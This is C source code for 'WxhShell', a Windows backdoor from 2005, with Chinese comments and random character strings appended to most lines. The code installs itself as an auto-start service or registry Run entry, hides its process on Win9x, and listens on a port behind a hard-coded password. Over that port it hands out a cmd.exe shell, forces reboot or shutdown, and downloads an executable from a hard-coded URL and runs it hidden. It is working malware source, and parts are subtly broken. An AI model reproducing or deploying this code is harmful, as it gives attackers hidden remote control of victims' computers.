    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "nX L7N0  
    if(Boot(SHUTDOWN)) 7/lXy3B4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SMVn2H@  
    else { &MnS( 82L  
    closesocket(wsh); Ml1sE,BT  
    ExitThread(0); G(F }o]  
    } 4y&%YLMpl  
    break; 8 /1 sy.R  
    } ^ZX71-  
  // 获取shell 7A|n*'[T>  
  case 's': { !6: kJL}U  
    CmdShell(wsh); 8^CdE*a  
    closesocket(wsh); p\66`\\l  
    ExitThread(0); [(U:1&x &  
    break; d^sS{m\  
  } FU9q|!2Y  
  // 退出 7Z0fMk  
  case 'x': { ohqi4Y!j/~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6m_ fEkS[  
    CloseIt(wsh); jovI8Dw >  
    break; ?4Z`^uy  
    } LIYj__4=|  
  // 离开 F)'kN2  
  case 'q': { H'E(gc)>)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %"|I` m  
    closesocket(wsh); _]btsv\)f  
    WSACleanup(); !t/I j~o  
    exit(1); hw/ :  
    break; a"gZw9m@  
        } R&Y+x;({  
  } z97RNT|Y7U  
  } 1sgI,5liUs  
M:6Yy@#T.  
  // 提示信息 7 lc -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H&`0I$8m  
} EaaLN<i@0  
  } EM9K^l`  
ayR=GqZ1  
  return; BEWDTOY[  
} ,@1rP55  
J?VMQTa/+  
// shell模块句柄 v4c*6(m  
int CmdShell(SOCKET sock) F(+,M~  
{ Aw#@}TGT  
STARTUPINFO si; r]JV !'R  
ZeroMemory(&si,sizeof(si)); MYyV{W*T>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DJ)Q,l*|N9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {/|RKV83  
PROCESS_INFORMATION ProcessInfo; Msj(>U&}+  
char cmdline[]="cmd"; G)~/$EF,_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *K}h >b 1  
  return 0; ndW]S7  
} aY:u-1  
;1x(~pD*o  
// 自身启动模式 ->"Z1  
int StartFromService(void) PydU.,^7  
{ vH14%&OcN  
typedef struct 4Wsp PHj  
{ GnTCq_\  
  DWORD ExitStatus; j >pv@D  
  DWORD PebBaseAddress; lqaOLZH  
  DWORD AffinityMask; ^HiI   
  DWORD BasePriority; \3K%>   
  ULONG UniqueProcessId; ULT,>S6r  
  ULONG InheritedFromUniqueProcessId; U+[ p>iP  
}   PROCESS_BASIC_INFORMATION; P]h-**O  
yyZs[5Q  
PROCNTQSIP NtQueryInformationProcess; J_-K"T|f  
7 &O 0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5`>%{ o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bX*>Zm   
 yxx9h3  
  HANDLE             hProcess; p)&Yr  
  PROCESS_BASIC_INFORMATION pbi; :<QmG3F  
d U}kimz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zEBUR%9  
  if(NULL == hInst ) return 0; nNc>nB1  
eVRPjVzQ'Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &m5FYm\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {e]ktj#+{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?O6|0#x  
q+ZN$4m  
  if (!NtQueryInformationProcess) return 0; cqd}.D  
jA' 7@/F/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S4O'N x  
  if(!hProcess) return 0; u%24% Q  
07 E9[U[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bnzIDsw!Q  
v$d^>+Y#  
  CloseHandle(hProcess); -hU1wX%U  
xf|vz|J?y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); is6M{K3  
if(hProcess==NULL) return 0; bdYx81  
'UFPQ  
HMODULE hMod; g3*J3I-O  
char procName[255]; P9f,zM-  
unsigned long cbNeeded; 7*>(C*q=  
YZ(tjIgQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5sZqX.XVF  
Qj3l>O  
  CloseHandle(hProcess); ^&!iqK2o  
T`W37fz0  
if(strstr(procName,"services")) return 1; // 以服务启动 f=cj5T:[  
c`s ]ciC  
  return 0; // 注册表启动 o?`^ UG-   
} S4C4_*~Vd  
cM Z-  
// 主模块 Sau?Y  
int StartWxhshell(LPSTR lpCmdLine) s$ZKd  
{ t2_pwd*B  
  SOCKET wsl; )\m%&EXG{  
BOOL val=TRUE; 5J2tR6u-(  
  int port=0; zL=PxFw0  
  struct sockaddr_in door; m ?#WQf  
e3=-7FU  
  if(wscfg.ws_autoins) Install(); tdOox87YK  
5c 69M5  
port=atoi(lpCmdLine); @$R^-_m  
vT;~\,M  
if(port<=0) port=wscfg.ws_port; |0$7{nQ  
~vV+)KI  
  WSADATA data; lnWs cb3t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J|@kF!6  
A&UGr971  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v<:/u(i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jl-:@[;  
  door.sin_family = AF_INET; L8~zQV$h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n0vhc;d  
  door.sin_port = htons(port); `2a7y]?  
LNOz.2fr>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KvNw'3Ua  
closesocket(wsl); rtT*2k*  
return 1; fYiof]v@_m  
} r%FfJM@!  
zw}Wm4OH  
  if(listen(wsl,2) == INVALID_SOCKET) { @2/ xu  
closesocket(wsl); NU(YllPB  
return 1; x.ucsb  
} LLd5Z44v  
  Wxhshell(wsl); J?oEzf;M  
  WSACleanup(); ?vg|;Q  
Ybp';8V  
return 0; [_1K1i"m  
sG:tyvln  
} qU+q Y2S:  
AR6hfdDDT  
// 以NT服务方式启动 Qt"i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {"hyr/SKd  
{ 18AlQ+')?w  
DWORD   status = 0; U IHe^?R  
  DWORD   specificError = 0xfffffff; j)Y68fKK  
FV5~sy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fea4Ul{ib  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *5q_fO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x?n13C  
  serviceStatus.dwWin32ExitCode     = 0; vhL/L?NB$  
  serviceStatus.dwServiceSpecificExitCode = 0; /5j]laYK)  
  serviceStatus.dwCheckPoint       = 0; Ry"N_Fb  
  serviceStatus.dwWaitHint       = 0; >/9on.  
hDD]Kc;G^1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W ,|JocDq  
  if (hServiceStatusHandle==0) return; \ 3FOI  
/<)kI(gf  
status = GetLastError(); cp L'  
  if (status!=NO_ERROR) C$7dmGjZ  
{ +uB.)wr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'FwNQzzt  
    serviceStatus.dwCheckPoint       = 0; 7cV GB  
    serviceStatus.dwWaitHint       = 0; k_](u91  
    serviceStatus.dwWin32ExitCode     = status; qTrb)95  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?f4jqF~Fh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }D*5PV%d  
    return; DH'0#  
  } VTs ,Ln!,U  
_aK4[*jnqh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %617f=(E?!  
  serviceStatus.dwCheckPoint       = 0; Ztj~Q9mu  
  serviceStatus.dwWaitHint       = 0; nYts[f9e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ">!<OB  
} 0/,Dy2h  
Q}kXxud  
// 处理NT服务事件,比如:启动、停止 \4"01:u'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uYAMW{AT  
{ V8+8?5'l  
switch(fdwControl) BM_Rlcx~  
{ )~=g}&  
case SERVICE_CONTROL_STOP: l@<yC-Xd  
  serviceStatus.dwWin32ExitCode = 0; hVd PO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =`KV),\  
  serviceStatus.dwCheckPoint   = 0; [ @`Ki  
  serviceStatus.dwWaitHint     = 0; -/gAb<=  
  {  Mt   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XS`=8FQ  
  } _p,1m[&M  
  return; 8bW,.to(?x  
case SERVICE_CONTROL_PAUSE: 0uwe,;   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *?s"~ XVs  
  break; ~-K<gT/  
case SERVICE_CONTROL_CONTINUE: $x|4cW2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dBM> ;S;v  
  break; :?J0e4.]  
case SERVICE_CONTROL_INTERROGATE: 8D1+["&  
  break; PBY ^m+  
}; v5g]_v*F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bbAJ5EqL  
} /I@Dv?  
eO?@K$I  
// 标准应用程序主函数 &#DKB#.2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ct\n1T }  
{ .C?rToCY  
;1Zz-@  
// 获取操作系统版本 Az4a|.  
OsIsNt=GetOsVer(); 5dem~YY5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a+#Aitd  
Mr u  
  // 从命令行安装 )9? ^;HS  
  if(strpbrk(lpCmdLine,"iI")) Install(); gaa;PX  
m* JbZT  
  // 下载执行文件 }`*DMI;-  
if(wscfg.ws_downexe) { EL+P,q/b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &&er7_Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); @>4=}z_e  
} c</u]TD  
H6/C7  
if(!OsIsNt) { [7*$Sd  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?K/N{GK%{  
HideProc(); jg+q{ ^  
StartWxhshell(lpCmdLine); ds|L'7  
} |T;NoWO+  
else q>H f2R  
  if(StartFromService()) MTUJsH\  
  // 以服务方式启动 fx `oe  
  StartServiceCtrlDispatcher(DispatchTable); Y*q_>kps"  
else 4!^flKZQ  
  // 普通方式启动 nD/; Gq  
  StartWxhshell(lpCmdLine); ,8/Con|o  
"? t@Y  
return 0; u{dI[?@  
} 9]^ CDL  
Sm(t"#dp  
sUEvL( %nY  
QGI_aU  
=========================================== DS]C`aM9  
@h$4Mt7N  
q]r?s%x  
<sNk yQ  
# mK?K  
iD-,C`  
" N@>o:(08  
k5ZkD+0Jo  
#include <stdio.h> |r%lJmBB  
#include <string.h> =n7 3bm  
#include <windows.h> =i:6&Y~VGq  
#include <winsock2.h> M);@XcS  
#include <winsvc.h> '}|sRuftb  
#include <urlmon.h> ZlxJY%o eu  
]pi8%.d  
#pragma comment (lib, "Ws2_32.lib") ?.%'[n>P  
#pragma comment (lib, "urlmon.lib") ;DXcEzV  
~DJ>)pp  
#define MAX_USER   100 // 最大客户端连接数 Ebk_(Py\  
#define BUF_SOCK   200 // sock buffer 3+` <2TP  
#define KEY_BUFF   255 // 输入 buffer WUnmUW[/  
S_EN,2'e  
#define REBOOT     0   // 重启 L dyTB@  
#define SHUTDOWN   1   // 关机 ds9L4zfO  
}q~M$  
#define DEF_PORT   5000 // 监听端口 v2tKk^6`(i  
yu>DVD  
#define REG_LEN     16   // 注册表键长度 .tny"a&  
#define SVC_LEN     80   // NT服务名长度 A,4|UA?-  
f6d:5 X_  
// 从dll定义API 7Ne`F(c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k25:H[   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q\fZ Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .2V`sg.!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |re>YQ!zd  
ZI8*PX%2  
// wxhshell配置信息 rnV\O L  
struct WSCFG { <,S5(pZ  
  int ws_port;         // 监听端口 (4WAoye|  
  char ws_passstr[REG_LEN]; // 口令 L-}6}5[  
  int ws_autoins;       // 安装标记, 1=yes 0=no |_7AN!7j  
  char ws_regname[REG_LEN]; // 注册表键名 ~H)s>6>#v  
  char ws_svcname[REG_LEN]; // 服务名 MI,b`pQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +U:U/c5Z^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ('u\rc2 R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^lp#j;Df  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DnZkZ;E/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e/p2| 4;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l; ._ ?H  
rv\yS:2  
}; >)&]Ss5J  
yi*2^??` 1  
// default Wxhshell configuration ZB5:FtW4  
struct WSCFG wscfg={DEF_PORT, *88Q6=Mm  
    "xuhuanlingzhe", H:d@@/  
    1, hPP,D\#  
    "Wxhshell", )M!6y%b67  
    "Wxhshell", K9*vWoP'  
            "WxhShell Service", ey~5DY7  
    "Wrsky Windows CmdShell Service", VJeoO)<j  
    "Please Input Your Password: ", '>wr _ f  
  1, zv^km5by  
  "http://www.wrsky.com/wxhshell.exe", d3nMeAI AO  
  "Wxhshell.exe" O_M2Axm  
    }; nF Mc'm  
3Dd"qON!  
// 消息定义模块 v|WTm#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j0XS12eM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KXQ &u{[<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z/r=4  
char *msg_ws_ext="\n\rExit."; 0I`)<o-  
char *msg_ws_end="\n\rQuit."; /3VSO"kcZ  
char *msg_ws_boot="\n\rReboot..."; ~`uEZ  
char *msg_ws_poff="\n\rShutdown..."; biBo?k;4  
char *msg_ws_down="\n\rSave to "; ?nLlZpZ2v  
YPV@/n[N  
char *msg_ws_err="\n\rErr!"; ,u:J"epM  
char *msg_ws_ok="\n\rOK!"; G`_LD+  
7O=N78M  
char ExeFile[MAX_PATH]; LkUYh3  
int nUser = 0; -&Cb^$.-x  
HANDLE handles[MAX_USER]; ``zgw\f[%  
int OsIsNt; zA ; 7Nv$3  
p-6Y5$Y  
SERVICE_STATUS       serviceStatus; $j+RUelFY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X\ -IAv  
/e2CB"c   
// 函数声明 <Va7XX%>  
int Install(void); pQ_EJX)  
int Uninstall(void); ,EE,W0/zzM  
int DownloadFile(char *sURL, SOCKET wsh); IzuYkl}  
int Boot(int flag); y.xyr"-Q  
void HideProc(void); %OIJ.  
int GetOsVer(void); am'11a@*  
int Wxhshell(SOCKET wsl); r+0<A.''a  
void TalkWithClient(void *cs); .+@;gVZx1  
int CmdShell(SOCKET sock); uPmK:9]3R  
int StartFromService(void); !R 2;]d*  
int StartWxhshell(LPSTR lpCmdLine); Bp7`W:?# "  
Ue=Je~Ri;9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w|k?2 ?&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &P0jRT3e#Y  
xsO "H8  
// 数据结构和表定义 n&n WY+GEo  
SERVICE_TABLE_ENTRY DispatchTable[] = #hQ#_7  
{ lB(E:{6OZ  
{wscfg.ws_svcname, NTServiceMain}, ^5GyW`a}  
{NULL, NULL} ,\Q^[e!m~  
}; 5Y3L  
B1U<m=Y  
// 自我安装 M SnRx*-  
int Install(void) k$ORVU  
{ rP7[{'%r  
  char svExeFile[MAX_PATH]; moOc G3=9  
  HKEY key; MB!_G[R  
  strcpy(svExeFile,ExeFile); 9*<=K  
YjR`}rdwo  
// 如果是win9x系统,修改注册表设为自启动 |c)hyw?[Y  
if(!OsIsNt) { <y4WG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Po1/_# mu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "G[yV>pxv  
  RegCloseKey(key); z|k0${iu#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '| 6ZPv&N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;S5J"1)O~  
  RegCloseKey(key); }|j \QjH  
  return 0; ZYexW=@  
    } DmA~Vj!a^y  
  } z#|tcHVFT  
} xe&w.aBI>  
else { SmUj8?6"  
/n3Qcht  
// 如果是NT以上系统,安装为系统服务 ^Mmsja5K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]=28s *@  
if (schSCManager!=0)  %ZR<z$  
{  v[+ ]  
  SC_HANDLE schService = CreateService _Oc(K "v  
  ( EZee kxs  
  schSCManager, lvd `_+P$  
  wscfg.ws_svcname, @d1YN]ede  
  wscfg.ws_svcdisp, NW4tQ;ad  
  SERVICE_ALL_ACCESS, /=K(5Xd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v1VH&~e  
  SERVICE_AUTO_START, RA$%3L[A!  
  SERVICE_ERROR_NORMAL, &`%J1[dy  
  svExeFile, M/J?$j  
  NULL, /_[?i"GW  
  NULL, 9-"!v0['  
  NULL, o6/"IIso3  
  NULL, A:4?Jd>  
  NULL |r+w(TG  
  ); X8\UTHT& 0  
  if (schService!=0) '',g}WvRwe  
  { ;u*I#)7  
  CloseServiceHandle(schService); 1'YUK"i  
  CloseServiceHandle(schSCManager); NA!?.zn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y.b?.)u&  
  strcat(svExeFile,wscfg.ws_svcname); Lyq[gQjr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dJF3]h Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ' >k1h.i  
  RegCloseKey(key); #H]c/  
  return 0; eX$RD9 H  
    } i<{:J -U|  
  } #Q"04'g  
  CloseServiceHandle(schSCManager); 5c0$oyl)M  
} fXSuJ<G  
} 8[H bg  
'<U4D  
return 1; TF?~vS%@P  
} X#o<))  
#x6EZnG  
// 自我卸载 >mj WC) U  
int Uninstall(void) .cz7jD  
{ sD$K<nyz  
  HKEY key; K+ |0~/0  
j dkqJ4&i  
if(!OsIsNt) { :Bi 4z(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N%S|Ey@f   
  RegDeleteValue(key,wscfg.ws_regname); '=(D7F;  
  RegCloseKey(key); E.,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { deEc;IAo  
  RegDeleteValue(key,wscfg.ws_regname); LRR)T: e}q  
  RegCloseKey(key); LbuhKL}VN  
  return 0; !ScEA=  
  } MaLH2?je^n  
} uR.`8s|  
} ^iWJqpLe  
else { 5cb8=W -  
vDyGxU!#\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /m4Y87  
if (schSCManager!=0) Q$Rp?o&  
{ l=L(pS3 ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I%{ 1K+V/  
  if (schService!=0) ,ZVhL* "  
  {  tYG6Gl  
  if(DeleteService(schService)!=0) { >-y}t9[/  
  CloseServiceHandle(schService); bAld'z#  
  CloseServiceHandle(schSCManager); bc;?O`I<  
  return 0; 2Z?l,M~  
  } -XnOj2  
  CloseServiceHandle(schService); BY':R-~(  
  } -;Te+E_  
  CloseServiceHandle(schSCManager); c< sq0('`  
} >>cL"m  
} lYey7tl{  
Sbeq%Iwm.  
return 1; ?J-D6;  
} cYBjsN(!A|  
]]y4$ [|L  
// 从指定url下载文件 _w2KUvG-8  
int DownloadFile(char *sURL, SOCKET wsh) v5&W)F  
{ 24sQon  
  HRESULT hr; E= .clA  
char seps[]= "/"; { R/e1-;  
char *token; -J0OtrZ  
char *file; 5H,(\Xd  
char myURL[MAX_PATH]; [Fv_~F491  
char myFILE[MAX_PATH]; Asy2jw\V  
m}]QP\  
strcpy(myURL,sURL); 7%G&=8tq  
  token=strtok(myURL,seps); c=^69>w  
  while(token!=NULL) 7PwH&rI  
  { \FF|b"E_=  
    file=token; V;Q@' <w  
  token=strtok(NULL,seps); GIfs]zVr`  
  } t gHN\@yj  
gZ-:4G|J  
GetCurrentDirectory(MAX_PATH,myFILE); %Aa_Bumf*:  
strcat(myFILE, "\\"); Vt-V'`Y  
strcat(myFILE, file); ~f( #S*Ic  
  send(wsh,myFILE,strlen(myFILE),0); Kzy9i/bL  
send(wsh,"...",3,0); +n)bWB%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B*P;*re  
  if(hr==S_OK) k(v &+v  
return 0; ad52a3deR  
else = )4bf"~8  
return 1; wM#l`I  
_X@ Q`d  
} %eGD1.R  
A7eYKo q  
// 系统电源模块 Hl*#iUq  
int Boot(int flag) *Wcq'S  
{ |CK/-UG}  
  HANDLE hToken; CK_\K,xVT  
  TOKEN_PRIVILEGES tkp; +ZV?yR2yn  
Yp8XZ 3  
  if(OsIsNt) { ]BTISaL-R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sDu&9+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RB;2  
    tkp.PrivilegeCount = 1; ^K 9jJS9K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I*mBU^<9V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i98PlAq)B  
if(flag==REBOOT) { [|YJg]i-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q!q=axfMD  
  return 0; >feeVk  
} Eh[NKgYL  
else { g Eq6[G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A-eCc#I  
  return 0; QqcAmp  
} ?3i<^@?  
  } -Byl~n3*D  
  else { u N_<G  
if(flag==REBOOT) { "c![s%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HD z"i  
  return 0; s5X51#J#~  
} q\~D:z$+CO  
else { gV'=u z v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6*I=% H|  
  return 0; C.se/\PE  
} ^HHT>K-m  
}  AZ-JaE  
KnK\X>:  
return 1; 8Z 0@-8vi  
} uFOYyrESc  
t /lU*  
// win9x进程隐藏模块 PW9tZx#  
void HideProc(void) /8P7L'Rb  
{ )=0@4   
(]5gYi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |lVi* 4za%  
  if ( hKernel != NULL ) 1\5po^Oioy  
  {  x![ut  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6O'Y@9#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^YEMR C  
    FreeLibrary(hKernel); zZ8:>2Ps(  
  } <In+V  
Qr~yHFc1y  
return; q]y{ 4"=5  
} P> 7PO~E.  
o7yvXrpG(U  
// 获取操作系统版本 t5S!j2E  
int GetOsVer(void) e ,A9N%M  
{ kO,vHg$  
  OSVERSIONINFO winfo; 59(} D'lw>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AHLXmQl  
  GetVersionEx(&winfo); UR[UZ4G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wk]E6yz6  
  return 1; @DyMq3Gt?&  
  else ~Ecx>f4nX  
  return 0; Ia>~ph#]{`  
} +)7h)uq  
vz)zl2F5sY  
// 客户端句柄模块 B)Dsen  
int Wxhshell(SOCKET wsl) lq)[  
{ ymA8`k5>@  
  SOCKET wsh; fyv S1_  
  struct sockaddr_in client; RIF*9=,S  
  DWORD myID; /ASpAl[J  
;-kg3fGB1Q  
  while(nUser<MAX_USER) hj3wxH.}  
{ ,uS}wJAX  
  int nSize=sizeof(client); qWI8 >my11  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Aj@t*3  
  if(wsh==INVALID_SOCKET) return 1; IHe?/oUL"b  
?;p45y~n%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k i{8f  
if(handles[nUser]==0) tnw6[U!rh=  
  closesocket(wsh); D}bCMN <  
else 6$p6dmV|  
  nUser++; Rhh.fV3  
  } dxF)) Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Br"K{g?  
k)S'@>n{u  
  return 0; 2sT\+C&H  
} );V.le}%(  
rh6m  
// 关闭 socket c]/&xRd  
void CloseIt(SOCKET wsh) f_tC:T4a  
{ f.Ms3))  
closesocket(wsh); /??nO Vvt  
nUser--; RMBPm*H  
ExitThread(0); Bfr$&?j#  
} }<G#bh6;Q  
>/DlxYG?  
// 客户端请求句柄 Bl v @u?  
void TalkWithClient(void *cs) 0 I[3%Q{  
{ EY[J;H_b  
&e1(|qax  
  SOCKET wsh=(SOCKET)cs; |ea}+N  
  char pwd[SVC_LEN]; Z66q0wR7  
  char cmd[KEY_BUFF]; 5U%a$.yr  
char chr[1]; 2k"!o~s^  
int i,j; _.3O(?p,  
b)@b63P_  
  while (nUser < MAX_USER) { 4$jb-Aw  
x<[W9Z'~?9  
if(wscfg.ws_passstr) { i@STo7=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R3@$ao  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yX|0 R H  
  //ZeroMemory(pwd,KEY_BUFF); "A,-/~cBV  
      i=0; E=8$*YUW(g  
  while(i<SVC_LEN) { |fg{Fpc  
zsha/:b  
  // 设置超时 R(N5K4J  
  fd_set FdRead; haIH `S Y  
  struct timeval TimeOut; e2$k %c~  
  FD_ZERO(&FdRead); cAc>p-y%  
  FD_SET(wsh,&FdRead); UqaV9  
  TimeOut.tv_sec=8; fs wQ*  
  TimeOut.tv_usec=0; 2/V9Or 52  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w-9fskd6e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V.Ki$0>  
7>>6c7e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r__Y{&IO  
  pwd=chr[0]; %(y0,?*  
  if(chr[0]==0xd || chr[0]==0xa) { [agp06 $D?  
  pwd=0; ;UG]ckV-  
  break; {P@OV1  
  } yUzpl[*e^o  
  i++; P n|*(sTl  
    } *P}v82C N  
n; fUwon  
  // 如果是非法用户,关闭 socket 3G)Wmmh"a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W_ hckq.  
} }tRY,f  
[exIK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &?mJL0fy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ME%W,B.|"s  
JD}"_,-  
while(1) { '8b/TL  
ApxGrCu  
  ZeroMemory(cmd,KEY_BUFF); !9knF t43  
UBy< vwnU  
      // 自动支持客户端 telnet标准   2po>%Cp  
  j=0; B5Y 3GWhrx  
  while(j<KEY_BUFF) { 3A(sT}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g-Y2U}&  
  cmd[j]=chr[0]; mgxoM|n6  
  if(chr[0]==0xa || chr[0]==0xd) { ^ A`@g4!  
  cmd[j]=0; E1uyMh-dy  
  break; vS{zLXg  
  } <cn{S`  
  j++; QXcSDJ  
    } tgPx!5U  
DcQ[zdEz+  
  // 下载文件 Mr3;B+S  
  if(strstr(cmd,"http://")) { B8'e,9   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "V;5Lp b  
  if(DownloadFile(cmd,wsh)) VdZmrq;?/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23AMrDF=N  
  else z!r-g(^G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uczb"k5  
  } 4t0B_o"  
